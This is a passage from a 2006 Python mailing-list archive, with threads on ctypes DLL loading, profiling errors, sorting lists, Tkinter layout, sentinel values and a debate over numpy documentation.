> moment). Here's what I've seen so far.
> 
> I've added the file arapi51.dll to the system32 directory.  However
> when I tried to access it I see this:
> 
(snip)
> WindowsError: [Errno 126] The specified module could not be found
> 
> So then I use the find_library function, and it finds it:
(snip)
> At that point I try to use the LoadLibrary function, but it still can't
> find it:
(snip)
> WindowsError: [Errno 126] The specified module could not be found
> 
> What am I doing wrong? I've used ctypes before and not had this
> problem. Before, I've just added the file to the system32 directory and
> not had this problem.

Looks like it could have to do with another dll arapi51.dll depends upon 
that would be missing, cf:
http://aspn.activestate.com/ASPN/Mail/Message/ctypes-users/2593616

HTH


From piet at cs.uu.nl  Fri Oct  6 11:46:56 2006
From: piet at cs.uu.nl (Piet van Oostrum)
Date: Fri, 06 Oct 2006 17:46:56 +0200
Subject: Recursive descent algorithm able to parse Python?
References: <1159471326.663651.110690@h48g2000cwc.googlegroups.com>
	<4o2ugcFcm4npU1@uni-berlin.de> <efhn24$fia$1@lust.ihug.co.nz>
	<4o47o7Fcu386U1@uni-berlin.de>
Message-ID: <m24puhbg5r.fsf@ordesa.lan>

>>>>> "Diez B. Roggisch" <deets at nospam.web.de> (DBR) wrote:

>DBR> http://en.wikipedia.org/wiki/Recursive_descent_parser

>DBR> """
>DBR> Recursive descent with backup is a technique that determines which
>DBR> production to use by trying each production in turn. Recursive
>DBR> descent with backup is not limited to LL(k) grammars, but is not
>DBR> guaranteed to terminate unless the grammar is LL(k). Even when they
>DBR> terminate, parsers that use recursive descent with backup may require
>DBR> exponential time.
>DBR> """

This is the first time I see this called `backup'. I have always used and
seen the term `backtracking'.
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP 8DAE142BE17999C4]
Private email: piet at vanoostrum.org


From fredrik at pythonware.com  Sat Oct 28 04:09:32 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Oct 2006 10:09:32 +0200
Subject: gettext on Windows
In-Reply-To: <1162022669.684710.182530@m7g2000cwm.googlegroups.com>
References: <1162022669.684710.182530@m7g2000cwm.googlegroups.com>
Message-ID: <ehv37s$b5f$1@sea.gmane.org>

russ.phillips.nospam at googlemail.com wrote:

> lan = gettext.GNUTranslations (open (sLang))

are you sure the data file is a text file?  what happens if you change 
the above to

   lan = gettext.GNUTranslations (open (sLang, "rb"))

?

</F>



From fer7msb02 at sneakemail.com  Fri Oct 27 10:12:16 2006
From: fer7msb02 at sneakemail.com (Yang)
Date: Fri, 27 Oct 2006 10:12:16 -0400
Subject: Assertion failure on hotshot.stats.load()
In-Reply-To: <26399-97155@sneakemail.com>
References: <31672-10273@sneakemail.com> <26399-97155@sneakemail.com>
Message-ID: <18593-86818@sneakemail.com>

I created a simple test case showing the zope.interface problem. Just
pass the following file to profile.py (i.e. the 'profile' module in
your Python standard library, run as a standalone app). The culprit
*seems* to be Twisted. Any ideas? Thanks in advance.

#!/usr/bin/env python

"""
error i get:

Traceback (most recent call last):
  File "/home/yang/local/bin/profile.py", line 611, in ?
    run('execfile(%r)' % (sys.argv[0],), options.outfile, options.sort)
  File "/home/yang/local/bin/profile.py", line 72, in run
    prof = prof.run(statement)
  File "/home/yang/local/bin/profile.py", line 448, in run
    return self.runctx(cmd, dict, dict)
  File "/home/yang/local/bin/profile.py", line 454, in runctx
    exec cmd in globals, locals
  File "<string>", line 1, in ?
  File "/home/yang/proj/assorted/sandbox/trunk/src/py/profile.py", line 6, in ?
    class Cnl( object ):
  File "/opt/zope/lib/python/zope/interface/advice.py", line 132, in advise
    return callback(newClass)
  File "/opt/zope/lib/python/zope/interface/declarations.py", line
485, in _implements_advice
    classImplements(cls, *interfaces)
  File "/opt/zope/lib/python/zope/interface/declarations.py", line
462, in classImplements
    spec.declared += tuple(_normalizeargs(interfaces))
  File "/opt/zope/lib/python/zope/interface/declarations.py", line
1373, in _normalizeargs
    _normalizeargs(v, output)
  File "/opt/zope/lib/python/zope/interface/declarations.py", line
1372, in _normalizeargs
    for v in sequence:
TypeError: Error when calling the metaclass bases
    iteration over non-sequence

"""

from zope.interface import *
from twisted.internet import interfaces
class Cnl( object ):
    implements( interfaces.IPushProducer )

On 10/27/06, Yang fer7msb02-at-sneakemail.com |python|
<...> wrote:
> I fell back onto the old profile module, but got the following error
> when trying to use zope.interface. I am now without any way to profile
> my application.
>
> Traceback (most recent call last):
>   File "/home/yang/local/bin/profile.py", line 611, in ?
>     run('execfile(%r)' % (sys.argv[0],), options.outfile, options.sort)
>   File "/home/yang/local/bin/profile.py", line 72, in run
>     prof = prof.run(statement)
>   File "/home/yang/local/bin/profile.py", line 448, in run
>     return self.runctx(cmd, dict, dict)
>   File "/home/yang/local/bin/profile.py", line 454, in runctx
>     exec cmd in globals, locals
>   File "<string>", line 1, in ?
>   File "/.automount/nms.lcs.mit.edu/export/home/yang/proj/cartel/trunk/icedb/src/frontend/icedb-central.py",
> line 5, in ?
>     from icedb import *
>   File "/home/yang/local/lib/python2.4/site-packages/icedb/__init__.py",
> line 4, in ?
>     import cafnet
>   File "/home/yang/local/lib/python2.4/site-packages/cafnet/__init__.py",
> line 269, in ?
>     class Cnl( object ):
>   File "/opt/zope/lib/python/zope/interface/advice.py", line 132, in advise
>     return callback(newClass)
>   File "/opt/zope/lib/python/zope/interface/declarations.py", line
> 485, in _implements_advice
>     classImplements(cls, *interfaces)
>   File "/opt/zope/lib/python/zope/interface/declarations.py", line
> 462, in classImplements
>     spec.declared += tuple(_normalizeargs(interfaces))
>   File "/opt/zope/lib/python/zope/interface/declarations.py", line
> 1373, in _normalizeargs
>     _normalizeargs(v, output)
>   File "/opt/zope/lib/python/zope/interface/declarations.py", line
> 1372, in _normalizeargs
>     for v in sequence:
> TypeError: Error when calling the metaclass bases
>     iteration over non-sequence
>
> On 10/27/06, Yang fer7msb02-at-sneakemail.com |python|
> <...> wrote:
> > Note: I realize hotshot is obsoleted by cProfile, but 2.5 breaks
> > several packages I depend on. I'm using Python 2.4.3.
> >
> > I'm getting an AssertionError on "assert not self._stack" when calling
> > hotshot.stats.load() on my app's hotshot profile. The app consistently
> > causes hotshot to generate such a problematic profile, but I have no
> > idea what's causing it. Anybody know what's wrong?
> >
> > Here's the profile:
> >
> > http://www.filefactory.com/file/76fdbd/
> >
> > Potentially relevant bugs:
> >
> > http://sourceforge.net/tracker/index.php?func=detail&aid=900092&group_id=5470&atid=105470
> > http://sourceforge.net/tracker/index.php?func=detail&aid=1019882&group_id=5470&atid=105470
> >
> > Thanks in advance for any help.
> > --
> > http://mail.python.org/mailman/listinfo/python-list
> >
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From grante at visi.com  Wed Oct 25 19:46:32 2006
From: grante at visi.com (Grant Edwards)
Date: Wed, 25 Oct 2006 23:46:32 -0000
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
Message-ID: <12jvtqodqg1g36@corp.supernews.com>

On 2006-10-25, John Coleman <jcoleman at franciscan.edu> wrote:
>
> Paul Rubin wrote:
>> John Salerno <johnjsal at NOSPAMgmail.com> writes:
>> > I'm a little confused. Why doesn't s evaluate to True in the first
>> > part, but it does in the second? Is the first statement something
>> > different?
>>
>> No.  True and False are boolean values, where booleans are a different
>> data type from strings, just like strings are different from integers.
>>
>>   >>> if s:
>> 	print 'hi'
>>
>> converts s to a boolean during evaluation.  That is, it's the same as
>>
>>     if bool(s): print 'hi'
>>
>> bool(s) is a function that converts s to a bool.  If s is a string,
>> bool(s) is true if s is nonempty, false otherwise.
>>
>> A comparable thing with integers: suppose
>>
>>    x = 3.1
>>
>> then "x == 3" is false, but "int(x) == 3" is true.
>
> But then why is 3.0 == 3 true? They are different types.

3 gets promoted to a float.  In most (all?) current
implementations, that turns out to be 3.0, but that's not
guaranteed.

It could be argued that promotion of integer types to floats
and shorter integers to longer integers is "a bad thing" in
what's supposed to be a strictly typed language. But, it's one
of those things that done that way because it's always been
done that way.

While it does make life simpler in many cases, it's also a
source of bugs in others.

-- 
Grant Edwards                   grante             Yow!  Why is it that when
                                  at               you DIE, you can't take
                               visi.com            your HOME ENTERTAINMENT
                                                   CENTER with you??


From bretthoerner at gmail.com  Sat Oct 14 23:12:57 2006
From: bretthoerner at gmail.com (Brett Hoerner)
Date: 14 Oct 2006 20:12:57 -0700
Subject: Ok. This IS homework ...
In-Reply-To: <1160869363.651855.204820@i3g2000cwc.googlegroups.com>
References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com>
	<1160867758.584637.101360@m73g2000cwd.googlegroups.com>
	<1160869363.651855.204820@i3g2000cwc.googlegroups.com>
Message-ID: <1160881977.923074.258740@i42g2000cwa.googlegroups.com>

spawn wrote:
> Actually, they do end.  If I
> move my "guess" variable outside the outermost loop, then it becomes
> infinte.  I know, I tried it.

Huh?  When does "running" ever evaluate to false (therefore breaking
either of the loops)?



From duncan.booth at invalid.invalid  Wed Oct  4 05:32:11 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 4 Oct 2006 09:32:11 GMT
Subject: Equal to Anything
References: <mailman.1245.1159953432.10491.python-list@python.org>
Message-ID: <Xns98526B30F2F51duncanbooth@127.0.0.1>

"Simon Brunning" <simon at brunningonline.net> wrote:

> I'm fairly sure that I know what is going on here - the left hand side
> object is getting first stab at the equality test, and understandably,
> it's saying "Nah". But is there anything that I can do about it?
> 
Not in general, no. If you could, and someone else created a 
NotEqualAnything class with the identical definition to EqualAnything 
except it returns False, then which would win? 

Sorry, but the left hand value wins unless it volunteers otherwise.


From cameron.walsh at gmail.com  Thu Oct 26 02:48:03 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Thu, 26 Oct 2006 14:48:03 +0800
Subject: Sorting by item_in_another_list
In-Reply-To: <rkN%g.22603$ta3.2702@tornado.texas.rr.com>
References: <ehk3p8$j3q$1@enyo.uwa.edu.au> <7x1woypbe1.fsf@ruckus.brouhaha.com>
	<IQD%g.15838$Fk1.36230@twister2.libero.it>
	<eho2kq$lqc$1@aioe.server.aioe.org>
	<rkN%g.22603$ta3.2702@tornado.texas.rr.com>
Message-ID: <ehpln3$pt9$2@enyo.uwa.edu.au>

Paul McGuire wrote:
> "J. Clifford Dyer" <jcd at sdf.lonestar.org> wrote in message 
> news:eho2kq$lqc$1 at aioe.server.aioe.org...
>> ZeD wrote:
>>> Paul Rubin wrote:
>>>
>>>>> A = [0,1,2,3,4,5,6,7,8,9,10]
>>>>> B = [2,3,7,8]
>>>>>
>>>>> desired_result = [2,3,7,8,0,1,4,5,6,9,10]
>>>> How about:
>>>>
>>>>   desired_result = B + sorted(x for x in A if x not in B)
>>> this. is. cool.
>>>
>> Cool, yes, but I'm not entirely sure it does what the OP wanted.  Partly 
>> because I'm not entirely sure what the OP wanted.  Counter example:
>>
>> Given these variables:
>>
>> A = [0,1,2,3,4,5,6,8,9,10]  # Note 7 is missing
>> B = [2,3,7,8]
>>
>> which of the following should the function yield?
>>
> 
> From the original post:
> 
> "I have two lists, A and B, such that B is a subset of A."
> 
> So this is not a case that needs to be supported.
> 
> I envisioned something like the OP had a sequence of items to start with, 
> did a random sampling from the list, and wanted to move the sampled items to 
> the front of the list.
> 
> -- Paul
> 
> 
> 

The sequence of items I had was a list of files to be processed in a 
particular order.  I noted that the order in which the files were placed 
into the list might not match the desired order of processing, and that 
the filenames might not be sortable by filename into this desired order 
(such are the vagaries of human file naming.)

So yes, Paul is correct.

However, Cliff is also correct in that the solution provided is not what 
I (the OP) wanted.  The solution provided is half right, in that it 
places the elements also in B before the elements only in A, but it 
sorts the remaining elements only in A instead of keeping the original 
order.

A more correct solution (at least in terms of answering this particular 
problem) would be:

desired_result = B + list(x for x in A if x not in B)
rather than
desired_result = B + sorted(x for x in A if x not in B)

This solution is also guaranteed to work if for some reason the sort 
algorithm cannot be guaranteed to be stable in the future or on some 
other implementation of Python.


Which brings me to the question, would this solution:

B = set(B)
A = B + list(x for x in A if x not in B)

be faster than this solution:

B = set(B)
A.sort(key=B.__contains__, reverse=True)


My guess is yes, since while the __contains__ method is only run once 
for each object, the list still does not require sorting.

Thanks everyone for all your helpful replies,

Cameron.


From chiquito at gmail.com  Fri Oct 20 12:08:35 2006
From: chiquito at gmail.com (Ricardo Reyes)
Date: 20 Oct 2006 09:08:35 -0700
Subject: Determining if a file is locked in Windows
References: <1161200350.853327.288150@b28g2000cwb.googlegroups.com>
	<ecidnU0VoqfvPKvYnZ2dnUVZ_o-dnZ2d@comcast.com>
	<1161269072.312305.297430@m73g2000cwd.googlegroups.com>
Message-ID: <1161360514.762535.145940@i42g2000cwa.googlegroups.com>

elake wrote:
> Larry Bates wrote:
> > elake wrote:
> > > I found this thread about a pst file in Windows being locked and I am
> > > having the same issue.
> > >
>

>
> The problem is that even though I catch the IOError it overwrites the
> dst file and makes it 0kb. This is going to be for backing these files
> up and it wont be good to overwrite the backup with a bad copy.
>

You can try to copy to a dst file that is not the backup file, but
instead it's in a temp location or with a temp name.

If the copy fails with IOError, just delete the new 0 bytes temp file.
If the copy doesn't fail, delete the old backup, rename the new temp
file to the destination name, and you are done. The rename part
shouldn't fail since you are operating in a new file that's not locked.
And for extra safety, don't erase the old backup before renaming the
new one, but rename to .bak.old or something like that.

Good luck.

Ricardo



From fulvio at pc.jaring.my  Wed Oct 18 03:34:12 2006
From: fulvio at pc.jaring.my (Fulvio)
Date: Wed, 18 Oct 2006 15:34:12 +0800
Subject: stdout not flushed before os.execvp()
In-Reply-To: <eh3051$aof$1@sea.gmane.org>
References: <4pk88nFjc1puU1@individual.net> <eh3051$aof$1@sea.gmane.org>
Message-ID: <200610181534.12753.fulvio@pc.jaring.my>

On Wednesday 18 October 2006 00:25, Fredrik Lundh wrote:

> |feature.  the "exec" system call operates on a lower level than the
> |stdio buffering system.

I did in this manner:

    for exe in ('imap4', 'pop3'):
        if exe in cfgfil[optsrv + '.protocol']:
            exe = exe[:4]; exe = 'call_func = _call_' + exe.upper() \
 + '(setting)'
            try:
                exec exe
            except ProtocolError:
                call_func = '#ERROR 02 = Protocol failed with %s' %optsrv
            break

exists it a different way to do it?

F


From michele.simionato at gmail.com  Wed Oct 18 04:18:09 2006
From: michele.simionato at gmail.com (Michele Simionato)
Date: 18 Oct 2006 01:18:09 -0700
Subject: creating many similar properties
In-Reply-To: <1161158181.103138.294330@b28g2000cwb.googlegroups.com>
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
	<1161153829.566566.73960@b28g2000cwb.googlegroups.com>
	<1161158181.103138.294330@b28g2000cwb.googlegroups.com>
Message-ID: <1161159489.236906.49320@i3g2000cwc.googlegroups.com>

George Sakkis wrote:
>
> Why is this less hidden or magical than a metaclass ?

Because it does not use inheritance. It is not going to create
properties on subclasses without
you noticing it. Also, metaclasses are brittle: try to use them with
__slots__, or with non-standard
classes (i.e. extensions classes), or try to use multiple metaclasses.
I wrote a paper
about metaclasses abuses which should be published soon or later; you
can see the draft
here:
http://www.phyast.pitt.edu/~micheles/python/classinitializer.html

    Michele Simionato



From bignose+hates-spam at benfinney.id.au  Fri Oct 27 20:09:25 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Sat, 28 Oct 2006 10:09:25 +1000
Subject: Sentinel values for special cases
References: <mailman.1308.1161912647.11739.python-list@python.org>
	<eht5ou$7v5$1@panix3.panix.com>
	<7.0.1.0.0.20061027162224.03fe9e38@yahoo.com.ar>
Message-ID: <87zmbhcnd6.fsf@benfinney.id.au>

Gabriel Genellina <gagsl-py at yahoo.com.ar> writes:

> At Friday 27/10/2006 11:40, Aahz wrote:
> > Ben Finney wrote:
> > >    GLOBAL = object()
> > >
> > >    def insert_ids(ids=GLOBAL):
> > >        if ids is GLOBAL:
> > >            ids = get_global_ids()
> >
> >The one disadvantage of this approach is that it complicates
> >pickling if/when you store the stentinel in an instance.  There are
> >ways of working around that, but none are pleasant.
>
> But why should you store the sentinel in an instance? It's only
> purpose is to detect a special case in the parameter, when None is
> not appropiate.

You might be storing values that will later become parameters to the
function.

    ids_to_be_processed_later = {
        'chin': [14, 7, 9],
        'bin':  foo.GLOBAL,
        'fin':  [74, 98, 12],
    }
    serialise_stuff()

-- 
 \          "The only tyrant I accept in this world is the still voice |
  `\                                       within."  -- Mahatma Gandhi |
_o__)                                                                  |
Ben Finney



From http  Wed Oct 25 16:47:12 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 13:47:12 -0700
Subject: cleaner way to write this?
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
	<%dO%g.151$1n3.4135@news.tufts.edu>
	<7x8xj4i5gq.fsf@ruckus.brouhaha.com>
	<2qP%g.161$1n3.4136@news.tufts.edu>
Message-ID: <7x64e815tb.fsf@ruckus.brouhaha.com>

John Salerno <johnjsal at NOSPAMgmail.com> writes:
> Interesting idea to use try/finally to ensure that dlg.Destroy() runs
> even with a return earlier in the method. 

Note that the code is wrong, the dialog should either be created
outside the while loop, or destroyed inside it.  I don't know wx so
I'm not sure which of those is correct.  But the version I posted
potentially creates multiple dialogs and destroys only one of them.


From kay.schluehr at gmx.net  Sat Oct 14 03:16:59 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 14 Oct 2006 00:16:59 -0700
Subject: Python component model
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<1160696330.090125.212900@h48g2000cwc.googlegroups.com>
	<4p9ooaFhds1pU1@individual.net>
Message-ID: <1160810219.869916.324790@b28g2000cwb.googlegroups.com>

val bykoski wrote:
> Peter Wang wrote:
> > Edward,
> >
> > This isn't in response to any specific one of the 100+ posts on this
> > thread, but I justed wanted to encourage you to continue your
> > investigation into Python component models and maybe looking for some
> > common ground between them.  Frequently the individual developers are
> > too heads-down on working on their own things to do a broad survey, so
> > I think this would be very useful indeed.
> >
> > I wouldn't have felt it necessary to post this except for the large
> > number of posts along the lines of "foo.dict is introspective enough
> > for me!".  I think you might have an easier time evangelizing the
> > principle of component-oriented programming (or "event-based", or
> > "reactive", or whatever) if you separated it from the notions of RAD UI
> > development.  There is a very large difference between writing
> > components and writing objects, and it seems that most people arguing
> > "python doesn't need components" don't see this distinction.
> >
> > For me, it's the difference between writing "live" objects and "dead"
> > objects.  Live objects not only encapsulate implementations of an
> > interface with some state, but they also encapsulate handling of
> > events, i.e. responses to changes in their environment.  Dead objects
> > have methods but there has to be a function somewhere that knows which
> > dead object to call with what parameters at exactly the right time.
> > (The only mechanism for managing this complexity is to create ever more
> > functions at ever higher levels of abstraction, or to have a
> > proliferation of nebulously-defined "manager" objects.)  IMHO once you
> > cross this chasm and are able to model your problem domain with live
> > objects that go off and automatically respond to the runtime
> > environment and Do the Right Thing, it's very hard to go back to a dead
> > object mindset.  I can understand, however, that until one makes this
> > leap, it might seem like an academic and useless distinction.
> >
> > -peter
> >
> Excellent post, Peter.  Thanks for great clarification. Looking from a
> physicist' perspective, im always trying to compare/evaluate languages
> from "the physical reality/dynamics" angle.  So, the run-time
> space/dynamics is the only one that matches the natural "always-runtime"
> objects - atoms, molecules, EM fields, biological cells(?).  It is the
> *reactive* world with event/forces-driven dynamics.  Seemingly, there is
> nothing beyond that, including biology.

A more conventional notion is that of static/dynamic properties of a
language. Component models that guarantee certain properties at compile
time are easily checked for consistency but to many programmers ( I
guess most of the programmers who attend to this list ) they are
inflexible: you might change or adapt your components according to
events, switch between entities, enable dynamic configuration etc. This
can be achieved in C++, Java etc. as well but not without pain.

BTW as a physicist you try to understand the "laws" i.e. the
mathematical structure behind all these diverse activities. Once you
understood the mathematical structure completely and fill  it with
inital- or boundary value parameters ( the code ) you know everything
about its "static behaviour" i.e. nature is turned into a logical
system ( measurement problem of QM aside ) where you deduce all future
events. But this constitutes only one half of modern science. The other
one is the experimental method. As far as I can say CS sticks currently
to the pre-Galilean metaphysics of a good god ( a good programmer /
engineer ) trying to establish systems that shine within the light of
formal purity. Although this has little relevance and not much to to
with the trilllions LOC all around us and instead of adjusting their
worldview CS academics tend to ponder about the "software crisis",
critizise industry for ignoring them and dismiss programmers who use
weird languages like Python without good formal properties. As you
already guess the lack of the experimental method does not even lead to
establishing some formality ( by means of hypothetic deductions in the
sense of Popper ) within basically informal ( untyped ) systems but to
succeedingly failed attempts of pre-established harmonies.



From paolopantaleo at gmail.com  Wed Oct  4 07:55:43 2006
From: paolopantaleo at gmail.com (Paolo Pantaleo)
Date: Wed, 4 Oct 2006 13:55:43 +0200
Subject: Tk: filling a frame with a widget
Message-ID: <83e8215e0610040455v36b3e7b9r2394a476b3aa41dd@mail.gmail.com>

I have this code

from Tkinter import *

root=Tk()
Button(root).pack(fill=BOTH)
root.mainloop()

I would expect the button filling all the client draw area of the
Frame, but when I resize the root window the button becomes wider, but
not higher ( I get some empty space under the button). How could set
the button to fill always all the space available?

Well maybe some other solution exists, since my problem is this:

I have a resizable window and i want to keep it filled with a Canvas
displaying an image (PhotoImage). Can I get the in some way the size
of the clien draw area of the window containig the canvas?

Thnx
PAolo

-- 
if you have a minute to spend please visit my photogrphy site:
http://mypic.co.nr


From sturlamolden at yahoo.no  Sat Oct 21 11:26:56 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 21 Oct 2006 08:26:56 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <453A3440.8090801@kevin-walzer.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<4538dd3b$0$24774$426a74cc@news.free.fr>
	<1161440644.300080.198790@b28g2000cwb.googlegroups.com>
	<453A3440.8090801@kevin-walzer.com>
Message-ID: <1161444416.749636.172530@i42g2000cwa.googlegroups.com>


Kevin Walzer wrote:

> I'm a Mac developer--Gtk does not run natively on the Mac (i.e. as an
> Aqua framework), only under X11. So that's a non-starter for me.

GTK is skinnable and can look a lot like Aqua. Qt is also just
pretending to be a native Aqua toolkit (or used to), but it is very
good at it.

That leaves you with wxPython (utterly ugly API, remninds me of MFC and
Motif), PyQt (very expensive unless GPL is not a show stopper) or
PyObjC.

http://pyobjc.sourceforge.net/
http://pyobjc.sourceforge.net/doc/tutorial.php

If you are willing to use Jython, you can get a native Aqua GUI from
Java.

Does at GUI really have to be "native"? I never hear anyone complain
about the looks of Microsoft Office or Mozilla Firefox on Windows,
although neither have a "native" GUI.



From ak at silmarill.org  Tue Oct 10 09:03:40 2006
From: ak at silmarill.org (Rainy)
Date: 10 Oct 2006 06:03:40 -0700
Subject: A curses-game I need help with.
In-Reply-To: <1160465330.405443.108300@i3g2000cwc.googlegroups.com>
References: <1160302875.055414.148350@m7g2000cwm.googlegroups.com>
	<87lknpp6qo.fsf@smsnet.pl>
	<1160465330.405443.108300@i3g2000cwc.googlegroups.com>
Message-ID: <1160485420.071126.231050@b28g2000cwb.googlegroups.com>


Gasten wrote:
> Rob Wolfe wrote:
> > >     while running:
> > >         key_command = game.mainwin.getch()
> >
> >           # I've moved erasing messages here
> >           game.msg.ereasMsg()
>
> Man... I didn't even think of that. It's embarassing. Thanks. It works
> perfect now. Again, thanks.
>
> Gasten

By the way, I also started doing a small rogue-like with a twist that
you control monsters. I used curses, too. It's very small and
incomplete, and I think there was a bug with monsters going through
walls, but it may help you..

You can find it at silmarill.org -> programs -> I, monster.

I'd be interested in looking at your game, as it gets imporved, too, do
you have a webpage for it yet? Please post..



From paddy3118 at netscape.net  Wed Oct  4 16:41:57 2006
From: paddy3118 at netscape.net (Paddy)
Date: 4 Oct 2006 13:41:57 -0700
Subject: Where is Python in the scheme of things?
In-Reply-To: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <1159994517.456771.54220@b28g2000cwb.googlegroups.com>


gord wrote:
> As a complete novice in the study of Python, I am asking myself where this
> language is superior or better suited than others. For example, all I see in
> the tutorials are lots of examples of list processing, arithmetic
> calculations - all in a DOS-like environment.
>
> What is particularly disappointing is the absence of a Windows IDE,
> components and an event driven paradigm. How does Python stand relative to
> the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these
> programming packages are quite expensive now while Python is free (at least
> for the package I am using - ActivePython).
>
> Please discuss where Python shines.
> Gord

Python is of course superior to all three,
Put together,
With knobs on.

:-)



From ralfi at supanet.com  Mon Oct 16 16:42:13 2006
From: ralfi at supanet.com (Ralf)
Date: Mon, 16 Oct 2006 22:42:13 +0200
Subject: ADO with Python
Message-ID: <4pi94uFip1e9U1@individual.net>

Is their anybody with xperience in using the both and can provide me with 
some xamples.

Thx a lot
Ralf 




From exhuma at gmail.com  Wed Oct 18 02:47:05 2006
From: exhuma at gmail.com (exhuma.twn)
Date: 17 Oct 2006 23:47:05 -0700
Subject: What happened to RuleDispatch
Message-ID: <1161154025.466013.102780@e3g2000cwe.googlegroups.com>

Hi all,

yesterday I wanted to install TurboGears, which depends on
RuleDispatch. However, I failed to download it. First I got the error
"Bad Gateway" from the server, today it's simply a "Not Found" error.
So what happened to it? Does somebody know?

I would really need to install TurboGears in the next couple of days.
So if someone knows where I can find a mirror of RuleDispatch I would
be very grateful.


Cheers,

Mich.



From mmn at news.bellatlantic.net  Thu Oct 26 23:17:44 2006
From: mmn at news.bellatlantic.net (Michael Naunton)
Date: Fri, 27 Oct 2006 03:17:44 GMT
Subject: Want to reduce steps of an operation with dictionaries
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
	<mailman.1139.1161749525.11739.python-list@python.org>
	<1161784803.462237.37790@i3g2000cwc.googlegroups.com>
Message-ID: <slrnek2v0d.jcj.mmn@linux.site>

It does not look nice at all, mainly because you are asking either asking the 
question upside down, or not providing enough information.

If a and b are of vastly different sizes, say so.  Otherwise, think about your
algorithm, and realize you are asking for things in b if they exist in a:

> dict( [ i for i in b.items() if i[0] in a ] )
{'a': 0, 'c': 1, 'd': 2}

- another mike.

pretoriano_2001 at hotmail.com <pretoriano_2001 at hotmail.com> wrote:
> Mike:
> Many thanks for your solution. It looks really nice.
>
>
>
> Mike Erickson wrote:
>> * pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com) wrote:
>> > Hello:
>> > I have next dictionaries:
>> > a={'a':0, 'b':1, 'c':2, 'd':3}
>> > b={'a':0, 'c':1, 'd':2, 'e':3}
>> > I want to put in a new dictionary named c all the keys that are in b
>> > and re-sequence the values. The result I want is:
>> > c={'a':0, 'c':1, 'd':2}
>> > How can I do this with one line of instruction?
>> >
>> > I attempted the next but the output is not the expected:
>> > c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)])
>> > erroneously (for me) gets:
>> > {'a': 0, 'c': 2, 'd': 3}
>>
>> I am not 100% I understand your questions, but k,v are being pulled from
>> a, try:
>>
>> c=dict([(k,b[k]) for v,k in enumerate(a) if b.has_key(k)])
>> 
>> mike
>


From fperez.net at gmail.com  Sat Oct  7 18:10:00 2006
From: fperez.net at gmail.com (Fernando Perez)
Date: Sat, 07 Oct 2006 16:10:00 -0600
Subject: switching to numpy and failing, a user story
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>
Message-ID: <eg98im$bkl$1@sea.gmane.org>

greg.landrum at gmail.com wrote:

> After using numeric for almost ten years, I decided to attempt to
> switch a large codebase (python and C++) to using numpy. Here's are
> some comments about how that went.
> 
> - The code to automatically switch python stuff over just kind of
> works. But it was a 90% solution, I could do the rest by hand. Of
> course, the problem is that then the code is still using the old
> numeric API, so it's not a long term solution. Unfortunately, to switch
> to the numpy API one needs documentation, which is a problem; see
> below.

[ RNG issues, already addressed ] 

> - My extension modules just won't build because the new numpy stuff
> lives in a different location from where Numeric used to live. I
> probably could fix this, but without the documentation I can't figure
> out how to do that. I'd also need to figure out how to port my code to
> use the new numpy API instead of the compatibility layer, but I can't
> do that without docs either.

I have to call bull on this.  I happen to have the per-pay book, but I
recently converted a large codebase from Numeric to Numpy, and I actually
never had to open the book.  Travis has made sure that the
compatibility-related information is easy to find:

http://www.scipy.org/Converting_from_Numeric 

has most of what you need, and this page:

http://www.tramy.us/guidetoscipy.html

contains a link to the first two chapters FOR FREE.  A lot of what's needed
for a port is covered in there.

In addition, the C API is available here (as well as being obviously in the
source, which you have access to):

http://www.scipy.org/NumPyCapi

And the doc page has many more useful links:

http://www.scipy.org/Documentation

So yes, you have to buy the book.  Travis has sunk over a year of his time
into an absolutely herculean effort that provides working scientists with
tools that are better than anything money can buy (yes, I have access to
both Matlab and IDL, and you can't pay me enough to use them instead of
Python).  

And he has the gall to ask for some money for a 300 page book? How dare he,
when one can walk into any Barnes and Noble and just walk out of the store
with a cart full of books for free!

It's funny how I don't see anyone complaining about any of the Python books
sold here (or at any other publishing house):

http://www.oreilly.com/pub/topic/python

I recently was very happy to pay for the Twisted book, since I need Twisted
for a project and a well-organized book is a good complement to the
auto-generated documentation.


And finally, if you had porting problems, none were reported on any of the
numpy/scipy mailing lists (else you used a different name or email, since I
can't find traces of queries from you my gmail archive where I keep
everything posted on all the lists):

http://www.scipy.org/Mailing_Lists

Lots of people have been porting their codes recently, and inevitably some
have run into difficulties.  EVERY single time when they actually say
something on the list, Travis (and others as well) is very fast with
specific help on exactly how to solve the problems, or with bug fixes when
the problem happens to be a numpy bug discovered by the user.  But don't
take my word for it:

http://sourceforge.net/mailarchive/forum.php?thread_id=30703688&forum_id=4890

(and Francesc has found some really nasty things, given how pytables pushes
numpy far beyond where Numeric ever went, so this is not a light
compliment).

Look, I'm sure you had issues with your code, we all have.  But I want to
make sure that others don't take from your message the wrong impression
regarding numpy, its future, its quality as a scientific computing
platform, or Travis (I'd build the man a statue if I could :).  

The environment which is developing around Python for scientific computing
